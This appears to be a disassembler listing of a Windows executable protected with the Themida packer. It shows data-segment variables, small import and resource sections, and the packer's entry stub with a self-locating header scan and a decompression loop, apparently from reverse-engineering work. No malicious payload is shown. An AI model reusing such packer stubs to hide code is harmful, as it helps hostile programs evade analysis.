dword_4CB71C	dd 0			; DATA XREF: sub_40BD7C+4Dw
					; sub_40BD7C+D4r
dword_4CB720	dd 20h dup(0)		; DATA XREF: sub_40BD7C+9Ao
					; sub_40BD7C+BAo
dword_4CB7A0	dd 0			; DATA XREF: sub_40BD7C+8Fw
dword_4CB7A4	dd 0			; DATA XREF: sub_40BD7C+A7w
					; sub_40BD7C+C7w
dword_4CB7A8	dd 0			; DATA XREF: sub_40BD7C:loc_40BEA5r
		align 10h
dword_4CB7B0	dd 0			; DATA XREF: sub_40BD7C+1A5w
					; sub_40BD7C+225o
dword_4CB7B4	dd 41h dup(0)		; DATA XREF: sub_40BD7C+167o
dword_4CB8B8	dd 41h dup(0)		; DATA XREF: sub_40BD7C+18Co
dword_4CB9BC	dd 0			; DATA XREF: sub_40BD7C+21Bw
					; sub_40BD7C+237r
dword_4CB9C0	dd 0			; DATA XREF: sub_40BD7C+17Aw
dword_4CB9C4	dd 0			; DATA XREF: sub_40BD7C+175w
					; sub_40BD7C+1F8r
dword_4CB9C8	dd 20h dup(0)		; DATA XREF: sub_40BD7C+1BEo
					; sub_40BD7C+1DEo
dword_4CBA48	dd 0			; DATA XREF: sub_40BD7C+1B1w
dword_4CBA4C	dd 0			; DATA XREF: sub_40BD7C+1CBw
					; sub_40BD7C+1EBw
dword_4CBA50	dd 0			; DATA XREF: sub_40BD7C:loc_40BFC9r
		align 8
dword_4CBA58	dd 0			; DATA XREF: sub_40BD7C+417w
					; sub_40BD7C+470o
dword_4CBA5C	dd 0A2h	dup(0)		; DATA XREF: sub_40BD7C+405o
dword_4CBCE4	dd 41h dup(0)		; DATA XREF: sub_40BD7C+3CFo
dword_4CBDE8	dd 0			; DATA XREF: sub_40BD7C+3FCw
					; sub_40BD7C+423r
		align 10h
dword_4CBDF0	dd 0			; DATA XREF: sub_40BD7C+466w
					; sub_40BD7C+482r
dword_4CBDF4	dd 0			; DATA XREF: sub_40BD7C+429w
dword_4CBDF8	dd 0			; DATA XREF: sub_40BD7C+436w
dword_4CBDFC	dd 0			; DATA XREF: sub_40BD7C+3F6w
		dd 0
dword_4CBE04	dd 0			; DATA XREF: sub_40BD7C:loc_40C214r
		dd 0
dword_4CBE0C	dd 0			; DATA XREF: sub_40B9CF+Er
					; sub_40B9CF+31r
dword_4CBE10	dd 0			; DATA XREF: sub_40B9CF+9r
					; sub_40B9CF+25r
dword_4CBE14	dd 82h dup(0)		; DATA XREF: sub_40C846+8Do
dword_4CC01C	dd 2 dup(0)		; DATA XREF: sub_40D1AF+68o
dword_4CC024	dd 0			; DATA XREF: sub_40DB4F+9Eo
dword_4CC028	dd 0			; DATA XREF: sub_40E288+8w
					; ___:0040E657o
		align 10h
dword_4CC030	dd 2 dup(0)		; DATA XREF: ___:0040E58Do
					; sub_41B4FB+8o ...
dword_4CC038	dd 0			; DATA XREF: ___:0040EEC0r
		dd 0
		dd 0
dword_4CC044	dd 0			; DATA XREF: ___:0040EE93r
dword_4CC048	dd 0			; DATA XREF: ___:0040EE75r
					; ___:0040EEDEr
		align 10h
dword_4CC050	dd 0			; DATA XREF: sub_40BD7C+2AEr
		align 8
dword_4CC058	dd 0			; DATA XREF: sub_40BA3A+1Br
dword_4CC05C	dd 0			; DATA XREF: ___:0040F9B6w
					; ___:0040F9DDr ...
		dd 3 dup(0)
dword_4CC06C	dd 0			; DATA XREF: ___:004112C4r
		dd 0
dword_4CC074	dd 0			; DATA XREF: sub_412E9B+4w
					; sub_412E9B+9o
		dd 10Ah	dup(0)
dword_4CC4A0	dd 188h	dup(0)		; DATA XREF: sub_401AC7+2F39o
					; sub_401AC7:loc_404AAFo
dword_4CCAC0	dd 0			; DATA XREF: sub_401AC7+19B6w
					; sub_401AC7+2F31r ...
		dd 11Ch	dup(0)
dword_4CCF34	dd 0E13h dup(0)		; DATA XREF: sub_415CEE+1Do
					; sub_415D8Eo ...
		db 0
byte_4D0781	db 3 dup(0)		; DATA XREF: Themida_:0054EEA0o
					; Themida_:0054EEA8o
		dd 1ECh	dup(0)
dword_4D0F34	dd 0			; DATA XREF: sub_415CEE+13o
					; sub_415D8E+Eo ...
dword_4D0F38	dd 0Eh dup(0)		; DATA XREF: sub_416C7D+Fo
dword_4D0F70	dd 80h dup(0)		; DATA XREF: sub_417938+41o
dword_4D1170	dd 200h	dup(0)		; DATA XREF: sub_417269+C7o
					; sub_4175C4+DDo ...
dword_4D1970	dd 200h	dup(0)		; DATA XREF: sub_417269+D6o
					; sub_4175C4+F4o ...
dword_4D2170	dd 0			; DATA XREF: sub_417269+86w
					; sub_41743B+94r
dword_4D2174	dd 0			; DATA XREF: sub_417269+A7w
					; sub_4178A1+55r ...
dword_4D2178	dd 0			; DATA XREF: sub_417269+A0w
					; sub_41743B+D6r ...
dword_4D217C	dd 0			; DATA XREF: sub_417269+79w
					; sub_41743B+35r ...
dword_4D2180	dd 80h dup(0)		; DATA XREF: sub_4178A1+5Eo
dword_4D2380	dd 0			; DATA XREF: sub_417269+93w
					; sub_41743B+A2r
		align 8
dword_4D2388	dd 0			; DATA XREF: sub_417269+E7o
					; sub_417269+103r ...
dword_4D238C	dd 0			; DATA XREF: sub_4175C4+17Bw
					; sub_41776B+107w
dword_4D2390	dd 0			; DATA XREF: sub_4175C4+180w
					; sub_41776B+10Dw ...
dword_4D2394	dd 0			; DATA XREF: sub_4175C4+159w
					; sub_4178A1+4Fr
dword_4D2398	dd 0			; DATA XREF: sub_417C15+22w
					; sub_417C15:loc_417D97w ...
dword_4D239C	dd 0			; DATA XREF: sub_401AC7+3C99o
					; sub_417AD7+12o ...
		dd 0
dword_4D23A4	dd 0			; DATA XREF: sub_417C15+1Cr
					; sub_417DB7+3Ar
		dd 7Fh dup(0)
dword_4D25A4	dd 0			; DATA XREF: sub_417C15+28r
					; sub_417DB7+4Aw
		dd 6EAh	dup(0)
		db 2 dup(0)
word_4D4152	dw 0			; DATA XREF: ___:off_437BD0o
		dd 1259h dup(0)
dword_4D8AB8	dd 0			; DATA XREF: sub_417DB7+23o
dword_4D8ABC	dd 81h dup(0)		; DATA XREF: sub_401AC7+3CBDo
					; sub_417AD7+3Co ...
dword_4D8CC0	dd 17h dup(0)		; DATA XREF: sub_418CE8:loc_418E05o
					; sub_418CE8+131o ...
dword_4D8D1C	dd 80h dup(0)		; DATA XREF: sub_419A81+7Co
					; sub_419A81+A5o
dword_4D8F1C	dd 0			; DATA XREF: sub_419062+45w
					; sub_419062+4Dr ...
dword_4D8F20	dd 17h dup(0)		; DATA XREF: sub_41994D:loc_419A6Fo
					; sub_41994D+12Do
dword_4D8F7C	dd 80h dup(0)		; DATA XREF: sub_418FA3+4Bo
					; sub_418FA3+7Do ...
byte_4D917C	db 0			; DATA XREF: sub_419062+29r
					; sub_419062+34w
		align 10h
dword_4D9180	dd 80h dup(0)		; DATA XREF: sub_4192B9+61o
					; sub_4192B9+88o ...
dword_4D9380	dd 81h dup(0)		; DATA XREF: sub_418BBF+33o
					; sub_418BBF+50o ...
dword_4D9584	dd 0			; DATA XREF: sub_419F0E:loc_419F2Fr
					; sub_419FFD+54r ...
dword_4D9588	dd 0			; DATA XREF: sub_419F0Er
					; sub_419FFD+37r ...
dword_4D958C	dd 0			; DATA XREF: sub_419F3E+1Ar
					; sub_41A152+83o
dword_4D9590	dd 0			; DATA XREF: sub_419F0E:loc_419F22r
					; sub_41A152+11Bw
dword_4D9594	dd 0Dh dup(0)		; DATA XREF: sub_419FFD+13o
					; sub_41A152:loc_41A28Fo
dword_4D95C8	dd 0			; DATA XREF: sub_419FFD+CDr
					; sub_419FFD+ECr ...
		align 10h
dword_4D95D0	dd 0Fh dup(0)		; DATA XREF: sub_41AD74+47o
byte_4D960C	db 0			; DATA XREF: sub_41B4CF+6o
					; ___:0041B821o ...
		align 10h
		dd 3Fh dup(0)
dword_4D970C	dd 2 dup(0)		; DATA XREF: sub_41B4FB+18o
dword_4D9714	dd 0			; DATA XREF: sub_41C326+1B9w
					; ___:loc_41DA08w ...
dword_4D9718	dd 0			; DATA XREF: sub_41DB5E+35w
					; sub_41E212:loc_41E2ACw ...
dword_4D971C	dd 0			; DATA XREF: sub_42393B+13Ar
		dd 0A28h, 501h,	5, 1
dword_4D9730	dd 1			; DATA XREF: ___:loc_401513r
					; ___:00422F1Cw
dword_4D9734	dd 28C0AF0h		; DATA XREF: ___:0040151Cr
					; ___:0040153Cr ...
		dd 0
dword_4D973C	dd 28C0A70h		; DATA XREF: ___:00422E16w
					; sub_4259A3+9r ...
dword_4D9740	dd 0			; DATA XREF: sub_426087+36r
dword_4D9744	dd 0			; DATA XREF: sub_4259A3+16r
					; sub_425D71+4r ...
		dd 0
off_4D974C	dd offset aCM_unpackerPac ; DATA XREF: ___:00422EB9w
					; "C:\\m_unpacker\\packed.exe"
		dd 0
byte_4D9754	db 0			; DATA XREF: sub_41BF53+2Dw
					; sub_4238E3+5r
		align 4
dword_4D9758	dd 0			; DATA XREF: sub_41BF53+27w
dword_4D975C	dd 0			; DATA XREF: sub_41BF53+4r
					; sub_41BF53+8Bw
dword_4D9760	dd 0			; DATA XREF: sub_41C864+3Br
					; sub_41C864+91w
		align 8
dword_4D9768	dd 0			; DATA XREF: sub_41CEB4+Aw
		align 10h
dword_4D9770	dd 0			; DATA XREF: sub_41D81B+5Er
					; sub_41D81B+A4w
		align 8
word_4D9778	dw 0			; DATA XREF: sub_41D81B+55r
					; sub_41D81B+9Ao
word_4D977A	dw 0			; DATA XREF: sub_41D81B+48r
		db 2 dup(0)
word_4D977E	dw 0			; DATA XREF: sub_41D81B+3Br
word_4D9780	dw 0			; DATA XREF: sub_41D81B+2Er
word_4D9782	dw 0			; DATA XREF: sub_41D81B+21r
		align 8
dword_4D9788	dd 0			; DATA XREF: ___:loc_422DE4r
					; ___:loc_422E26r ...
		align 10h
dword_4D9790	dd 0			; DATA XREF: sub_41E1C9r ___:0041E1F0o ...
dword_4D9794	dd 0			; DATA XREF: sub_41F247r
dword_4D9798	dd 0			; DATA XREF: sub_41BB48:loc_41BC44r
					; sub_41BC9Br ...
dword_4D979C	dd 1			; DATA XREF: sub_41FDDE:loc_41FF59r
					; sub_41FF77+4w ...
dword_4D97A0	dd 0			; DATA XREF: sub_42037B+37r
		align 8
dword_4D97A8	dd 0			; DATA XREF: sub_42190E+11r
					; sub_421A12+1Ar ...
byte_4D97AC	db 0			; DATA XREF: sub_42190E+3r
					; sub_42190E+98r ...
		align 10h
dword_4D97B0	dd 0			; DATA XREF: sub_421A12+11r
					; sub_421AF0+21w ...
byte_4D97B4	db 0			; DATA XREF: sub_421AF0+51w
		align 4
dword_4D97B8	dd 0			; DATA XREF: sub_421CE6+4Er
					; sub_4220C1+3Ar ...
dword_4D97BC	dd 0			; DATA XREF: sub_421CE6+5Cr
					; sub_4220C1+43r ...
dword_4D97C0	dd 0			; DATA XREF: sub_41D13A+7Ar
					; sub_421E8D+5r
dword_4D97C4	dd 0			; DATA XREF: sub_42249C+29r
dword_4D97C8	dd 2 dup(0)		; DATA XREF: sub_41D900+Co
dword_4D97D0	dd 0			; DATA XREF: sub_41DD4A+4r
					; sub_41DD4A+6Er ...
		align 10h
dword_4D97E0	dd 0			; DATA XREF: sub_41DFD4+61r
					; sub_41DFD4+BFr ...
		align 8
dword_4D97E8	dd 1			; DATA XREF: sub_4229D2+28r
					; sub_4229D2+4Cw ...
dword_4D97EC	dd 0			; DATA XREF: ___:00422C30r
					; ___:00422C3Cw ...
aCM_unpackerPac	db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: ___:loc_422EA2o
					; ___:off_4D974Co
		align 4
		dd 3Ah dup(0)
dword_4D98F4	dd 1			; DATA XREF: ___:004230DAr
					; ___:004230FBw ...
dword_4D98F8	dd 0			; DATA XREF: sub_423498+21r
dword_4D98FC	dd 0			; DATA XREF: sub_41F262+154w
					; sub_42037B:loc_4203A4w ...
dword_4D9900	dd 0			; DATA XREF: sub_41F262+7r
dword_4D9904	dd 1			; DATA XREF: sub_423BF4+26r
					; sub_423BF4:loc_423C5Ew
word_4D9908	dw 0			; DATA XREF: sub_4244F9+1Ao
					; sub_4244F9+46r
byte_4D990A	db 0			; DATA XREF: sub_4244F9+39r
		align 4
dword_4D990C	dd 7 dup(0)		; DATA XREF: sub_4244F9+52o
dword_4D9928	dd 0			; DATA XREF: sub_4244F9+40w
					; sub_4244F9+5Co
dword_4D992C	dd 0			; DATA XREF: sub_4244F9+4Dw
dword_4D9930	dd 0			; DATA XREF: sub_4244F9+31w
dword_4D9934	dd 0			; DATA XREF: sub_4244F9+52w
dword_4D9938	dd 77C26E79h		; DATA XREF: sub_42461C:loc_42463Fr
					; sub_42461C+38r ...
		align 10h
dword_4D9940	dd 0			; DATA XREF: sub_4246FC+11w
					; sub_4246FC+63w ...
		align 8
dword_4D9948	dd 0			; DATA XREF: sub_4246FC+33o
					; sub_4246FC+46r
dword_4D994C	dd 10h dup(0)		; DATA XREF: sub_4246FC+C1o
word_4D998C	dw 0			; DATA XREF: sub_42495A+A8r
word_4D998E	dw 0			; DATA XREF: sub_4246FC+54r
					; sub_42495A+DBr ...
word_4D9990	dw 0			; DATA XREF: sub_42495A+CAr
word_4D9992	dw 0			; DATA XREF: sub_42495A+D3r
					; sub_42495A:loc_424A4Cr
word_4D9994	dw 0			; DATA XREF: sub_42495A+C0r
word_4D9996	dw 0			; DATA XREF: sub_42495A+B8r
word_4D9998	dw 0			; DATA XREF: sub_42495A+B0r
word_4D999A	dw 0			; DATA XREF: sub_42495A+9Er
dword_4D999C	dd 0			; DATA XREF: sub_4246FC+4Br
dword_4D99A0	dd 10h dup(0)		; DATA XREF: sub_4246FC+FBo
word_4D99E0	dw 0			; DATA XREF: sub_42495A+46r
word_4D99E2	dw 0			; DATA XREF: sub_4246FC:loc_424773r
					; sub_42495A+78r ...
word_4D99E4	dw 0			; DATA XREF: sub_42495A+67r
word_4D99E6	dw 0			; DATA XREF: sub_42495A+70r
					; sub_42495A:loc_4249DEr
word_4D99E8	dw 0			; DATA XREF: sub_42495A+5Dr
word_4D99EA	dw 0			; DATA XREF: sub_42495A+55r
word_4D99EC	dw 0			; DATA XREF: sub_42495A+4Dr
word_4D99EE	dw 0			; DATA XREF: sub_42495A+3Er
dword_4D99F0	dd 0			; DATA XREF: sub_4246FC+80r
dword_4D99F4	dd 0			; DATA XREF: sub_4246FC+132r
					; sub_4246FC:loc_424848r ...
dword_4D99F8	dd 0			; DATA XREF: sub_4246E7r sub_4246E7+Ew
dword_4D99FC	dd 0			; DATA XREF: sub_424C88+3r
					; sub_424C88+2Ew ...
dword_4D9A00	dd 0			; DATA XREF: sub_424C88+43w
					; sub_424C88:loc_424CD7r
dword_4D9A04	dd 0			; DATA XREF: sub_424C88+4Aw
					; sub_424C88+60r
dword_4D9A08	dd 0			; DATA XREF: sub_42393B+3Fr
dword_4D9A0C	dd 0			; DATA XREF: sub_425831:loc_425898r
					; sub_425831+6Do
dword_4D9A10	dd 0			; DATA XREF: sub_425831:loc_42586Fr
					; sub_425831+44o
dword_4D9A14	dd 0			; DATA XREF: sub_425831:loc_425862r
					; sub_425831+37o
dword_4D9A18	dd 0			; DATA XREF: sub_425831:loc_42587Cr
					; sub_425831+51o
		align 10h
dword_4D9A20	dd 0			; DATA XREF: sub_425DDF+28r
					; sub_425DDF+48w ...
dword_4D9A24	dd 0			; DATA XREF: sub_4268F1+28r
					; sub_4268F1+4Cw ...
dword_4D9A28	dd 0			; DATA XREF: sub_426B7C+26r
					; sub_426B7C:loc_426BE6w
byte_4D9A2C	db 0			; DATA XREF: sub_40DB2Dr sub_40DB2D+9w
		align 10h
dword_4D9A30	dd 2434968h		; DATA XREF: sub_41E390:loc_41E3A1r
					; sub_41F3D2+14r ...
		align 10h
dword_4D9A40	dd 400h	dup(0)		; DATA XREF: ___:off_43AD78o
					; ___:0043AD80o
dword_4DAA40	dd 200h			; DATA XREF: sub_41E390+9r
					; sub_41E390+56r ...
		dd 7 dup(0)
dword_4DAA60	dd 28C0EF0h		; DATA XREF: sub_41EF78+75r
					; sub_41F051+2Ar ...
dword_4DAA64	dd 3Fh dup(0)		; DATA XREF: ___:0042329Co
dword_4DAB60	dd 20h			; DATA XREF: sub_41E212+8r
					; sub_41F051+Cr ...
dword_4DAB64	dd 4E4h			; DATA XREF: sub_41FDDE+14r
					; sub_41FDDE+65w ...
		align 10h
dword_4DAB70	dd 3 dup(0)		; DATA XREF: sub_41FDDE+123o
					; sub_41FDDE+171o ...
dword_4DAB7C	dd 0			; DATA XREF: sub_41FDDE+108w
					; sub_41FDDE+15Dw ...
byte_4DAB80	db 0			; DATA XREF: sub_42001D:loc_420129w
					; sub_42001D:loc_420146w ...
		align 4
		dd 0Fh dup(0)
		dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h
		dd 77767574h, 7A7978h, 0
		dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h
		dd 57565554h, 5A5958h, 0
		dd 83000000h, 0
		dd 9A0000h, 9E009Ch, 2 dup(0)
		dd 8A0000h, 0FF8E008Ch,	2 dup(0)
		dd 0AA0000h, 2 dup(0)
		dd 0B500h, 0BA0000h, 0
		dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h
		dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h
		dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h
		dd 9FDEDDDCh
byte_4DAC80	db 0			; DATA XREF: sub_41FDDE+5Co
					; sub_41FDDE+AFo ...
byte_4DAC81	db 0			; DATA XREF: sub_41C151+5Dr
					; sub_41FDDE+A0w ...
		align 4
		dd 0Fh dup(0)
		dd 10100000h, 6	dup(10101010h),	0
		dd 20200000h, 6	dup(20202020h),	2 dup(0)
		dd 20h,	10000000h, 10001000h, 2	dup(0)
		dd 20000000h, 20002000h, 10h, 0
		dd 20000000h, 2	dup(0)
		dd 200000h, 20000000h, 0
		dd 10101000h, 5	dup(10101010h),	10101000h, 10101010h, 6	dup(20202020h)
		dd 20202000h, 20202020h, 20h
dword_4DAD84	dd 0			; DATA XREF: sub_41FDDE+6Ew
					; sub_41FDDE+12Bw ...
dword_4DAD88	dd 10h			; DATA XREF: sub_41EAD6+5r
					; sub_41EAD6+32w
dword_4DAD8C	dd 0			; DATA XREF: sub_41E4A2+239r
					; sub_41E4A2+259r ...
dword_4DAD90	dd 2430650h		; DATA XREF: sub_41E4A2+310w
					; sub_41E7CD:loc_41E81Dr ...
dword_4DAD94	dd 0			; DATA XREF: sub_41E4A2+22Cr
					; sub_41E4A2+25Fr ...
dword_4DAD98	dd 1			; DATA XREF: sub_41E477r
					; sub_41E4A2+2CAr ...
dword_4DAD9C	dd 2430650h		; DATA XREF: sub_41E477+8r
					; sub_41E4A2+2CFr ...
dword_4DADA0	dd 2430000h		; DATA XREF: sub_41BA31+21r
					; sub_41BB48+A9r ...
dword_4DADA4	dd 142340h		; DATA XREF: ___:00422D89r
					; ___:00422EB4r
dword_4DADA8	dd 1			; DATA XREF: ___:00422E7Fw sub_4259A3r
dword_4DADAC	dd 1			; DATA XREF: sub_4201A2r
					; sub_4201A2+11w ...
dword_4DADB0	dd 28C0E60h		; DATA XREF: sub_41BF53+3Er
					; sub_41D743+13r ...
dword_4DADB4	dd 28C0E60h		; DATA XREF: sub_41BF53+35r
					; sub_41BF53+57r ...
		dd 92h dup(0)
		dd 127h, 19Ch, 1DCh, 221h, 233h, 290h, 3FAh dup(0)
___		ends

; Section 2. (virtual address 000DC000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 000DC000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_rsrc___	segment	para public 'DATA' use32
		assume cs:_rsrc___
		;org 4DC000h
		dd 400h	dup(0)
_rsrc___	ends

; Section 3. (virtual address 000DD000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 000DD000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata__	segment	para public 'DATA' use32
		assume cs:_idata__
		;org 4DD000h
a7icwCw		db '7¨çwµ\çw',0
		align 4
		dd 77345219h, 4	dup(0)
		dd 0DD050h, 0DD000h, 3 dup(0)
		dd 0DD079h, 0DD00Ch, 5 dup(0)
aKernel32_dll_0	db 'KERNEL32.dll',0
		db 2 dup(0), 43h
aReatefilea	db 'reateFileA',0
		align 4
		dd 69784500h, 6F725074h, 73736563h, 4D4F4300h, 334C5443h
		dd 6C642E32h, 6Ch
aInitcommoncont	db 'InitCommonControls',0
		align 1000h
_idata__	ends

; Section 4. (virtual address 000DE000)
; Virtual size			: 000DC000 ( 901120.)
; Section size in file		: 000DC000 ( 901120.)
; Offset to raw	data for section: 000DE000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
Themida_	segment	para public 'DATA' use32
		assume cs:Themida_
		;org 4DE000h
		dd 8F35CD4Eh, 498A4h, 5400Ah, 93172h, 0

; =============== S U B	R O U T	I N E =======================================


		public start

start		proc near

var_1C		= dword	ptr -1Ch

; FUNCTION CHUNK AT 004DE265 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005394BD SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0053C836 SIZE 00000062 BYTES
; FUNCTION CHUNK AT 0053CAAC SIZE 00000047 BYTES

		mov	eax, 0
		pusha
		or	eax, eax
		jz	short loc_4DE086
		call	$+5
		pop	eax
		add	eax, 53h
		cmp	byte ptr [eax],	0E9h
		jnz	short loc_4DE041
		popa
		jmp	short loc_4DE076
; ---------------------------------------------------------------------------
a7rm		db 'Û-7àM',0
		db 0FFh
		dd 0FFFFFFFFh, 3DFFFFFFh
		db 40h
; ---------------------------------------------------------------------------


loc_4DE041:				; CODE XREF: start+18j
		call	$+5
		pop	eax
		and	eax, 0FFFFF000h
		xor	edi, edi


loc_4DE04E:				; CODE XREF: start+5Ej
		mov	bx, 5A19h
		add	bx, 34h
		cmp	[eax], bx
		jnz	short loc_4DE06D
		movzx	edx, word ptr [eax+3Ch]
		add	edx, eax
		mov	ebx, 44E9h
		add	ebx, 67h
		cmp	[edx], ebx
		jz	short loc_4DE074


loc_4DE06D:				; CODE XREF: start+45j
		sub	eax, 1000h
		jmp	short loc_4DE04E
; ---------------------------------------------------------------------------


loc_4DE074:				; CODE XREF: start+57j
		mov	edi, eax


loc_4DE076:				; CODE XREF: start+1Bj
		jmp	loc_4DE265
; ---------------------------------------------------------------------------
		db 3
aJt		db 'ǹjâ',0Dh,0
		dw 0CF03h
		db 0EBh, 0Ah
; ---------------------------------------------------------------------------


loc_4DE086:				; CODE XREF: start+8j
		mov	eax, offset loc_5394BD
		mov	ecx, offset word_4DE26A
		push	eax
		push	ecx
		call	sub_4DE11B
		call	$+5
		pop	eax
		sub	eax, 26h
		mov	ecx, 1EFh
		mov	byte ptr [eax],	0E9h
		sub	ecx, 5
		mov	[eax+1], ecx
		popa
		jmp	loc_4DE265
start		endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		dw 9328h
		dd 7888E4C9h, 0DA6E5EBCh, 3D630BCFh, 0D85F1F80h, 0DCBA75EBh
		dd 1D3B76EDh, 3163C78Eh, 93264C98h, 78F2E4C9h, 172F5EBCh
		dd 9122458Bh, 0D8B164C8h, 0DCBA75EBh, 1D3B76EDh, 564635CCh
		dd 0F28784C5h, 78F2E432h, 172F5EBCh, 9122458Bh,	0D8B164C8h
		dd 0DCBA75EBh, 1D3B76EDh, 3163C78Eh, 93264C98h
		db 0C8h, 0E4h, 0F2h

; =============== S U B	R O U T	I N E =======================================



sub_4DE11B	proc near		; CODE XREF: start+7Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		mov	esi, [esp+20h+arg_0]
		mov	edi, [esp+20h+arg_4]
		cld
		mov	dl, 80h


loc_4DE127:				; CODE XREF: sub_4DE11B:loc_4DE13Bj
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		mov	ebx, 2


loc_4DE132:				; CODE XREF: sub_4DE11B+7Aj
					; sub_4DE11B+C3j ...
		add	dl, dl
		jnz	short loc_4DE13B
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4DE13B:				; CODE XREF: sub_4DE11B+19j
		jnb	short loc_4DE127
		add	dl, dl
		jnz	short loc_4DE146
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4DE146:				; CODE XREF: sub_4DE11B+24j
		jnb	short loc_4DE197
		xor	eax, eax
		add	dl, dl
		jnz	short loc_4DE153
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4DE153:				; CODE XREF: sub_4DE11B+31j
		jnb	loc_4DE238
		add	dl, dl
		jnz	short loc_4DE162
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4DE162:				; CODE XREF: sub_4DE11B+40j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4DE16D
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4DE16D:				; CODE XREF: sub_4DE11B+4Bj
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4DE178
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4DE178:				; CODE XREF: sub_4DE11B+56j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4DE183
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4DE183:				; CODE XREF: sub_4DE11B+61j
		adc	eax, eax
		jz	short loc_4DE18D
		push	edi
		sub	edi, eax
		mov	al, [edi]
		pop	edi


loc_4DE18D:				; CODE XREF: sub_4DE11B+6Aj
		mov	[edi], al
		inc	edi
		mov	ebx, 2
		jmp	short loc_4DE132
; ---------------------------------------------------------------------------


loc_4DE197:				; CODE XREF: sub_4DE11B:loc_4DE146j
		mov	eax, 1


loc_4DE19C:				; CODE XREF: sub_4DE11B:loc_4DE1B0j
		add	dl, dl
		jnz	short loc_4DE1A5
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4DE1A5:				; CODE XREF: sub_4DE11B+83j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4DE1B0
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4DE1B0:				; CODE XREF: sub_4DE11B+8Ej
		jb	short loc_4DE19C
		sub	eax, ebx
		mov	ebx, 1
		jnz	short loc_4DE1E3
		mov	ecx, 1


loc_4DE1C0:				; CODE XREF: sub_4DE11B:loc_4DE1D4j
		add	dl, dl
		jnz	short loc_4DE1C9
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4DE1C9:				; CODE XREF: sub_4DE11B+A7j
		adc	ecx, ecx
		add	dl, dl
		jnz	short loc_4DE1D4
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4DE1D4:				; CODE XREF: sub_4DE11B+B2j
		jb	short loc_4DE1C0
		push	esi
		mov	esi, edi
		sub	esi, ebp
		rep movsb
		pop	esi
		jmp	loc_4DE132
; ---------------------------------------------------------------------------


loc_4DE1E3:				; CODE XREF: sub_4DE11B+9Ej
		dec	eax
		shl	eax, 8
		mov	al, [esi]
		inc	esi
		mov	ebp, eax
		mov	ecx, 1


loc_4DE1F1:				; CODE XREF: sub_4DE11B:loc_4DE205j
		add	dl, dl
		jnz	short loc_4DE1FA
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4DE1FA:				; CODE XREF: sub_4DE11B+D8j
		adc	ecx, ecx
		add	dl, dl
		jnz	short loc_4DE205
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4DE205:				; CODE XREF: sub_4DE11B+E3j
		jb	short loc_4DE1F1
		cmp	eax, 7D00h
		jnb	short loc_4DE228
		cmp	eax, 500h
		jb	short loc_4DE223
		inc	ecx
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_4DE132
; ---------------------------------------------------------------------------


loc_4DE223:				; CODE XREF: sub_4DE11B+F8j
		cmp	eax, 7Fh
		ja	short loc_4DE22B


loc_4DE228:				; CODE XREF: sub_4DE11B+F1j
		add	ecx, 2


loc_4DE22B:				; CODE XREF: sub_4DE11B+10Bj
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_4DE132
; ---------------------------------------------------------------------------


loc_4DE238:				; CODE XREF: sub_4DE11B:loc_4DE153j
		mov	al, [esi]
		inc	esi
		xor	ecx, ecx
		shr	al, 1
		jz	short loc_4DE259
		adc	ecx, 2
		mov	ebp, eax
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		mov	ebx, 1
		jmp	loc_4DE132
; ---------------------------------------------------------------------------


loc_4DE259:				; CODE XREF: sub_4DE11B+125j
		sub	edi, [esp+20h+arg_4]
		mov	[esp+20h+var_4], edi
		popa
		retn	8
sub_4DE11B	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_4DE265:				; CODE XREF: start:loc_4DE076j
					; start+9Dj
		jmp	loc_5394BD
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
word_4DE26A	dw 38E9h		; DATA XREF: start+77o
		dd 1523374h, 6854C0EFh,	38696D65h, 0FE436164h, 460138FAh
		dd 0C203A8F1h, 92447537h, 0FED5235Ch, 0F02C2445h, 11BE9AAh
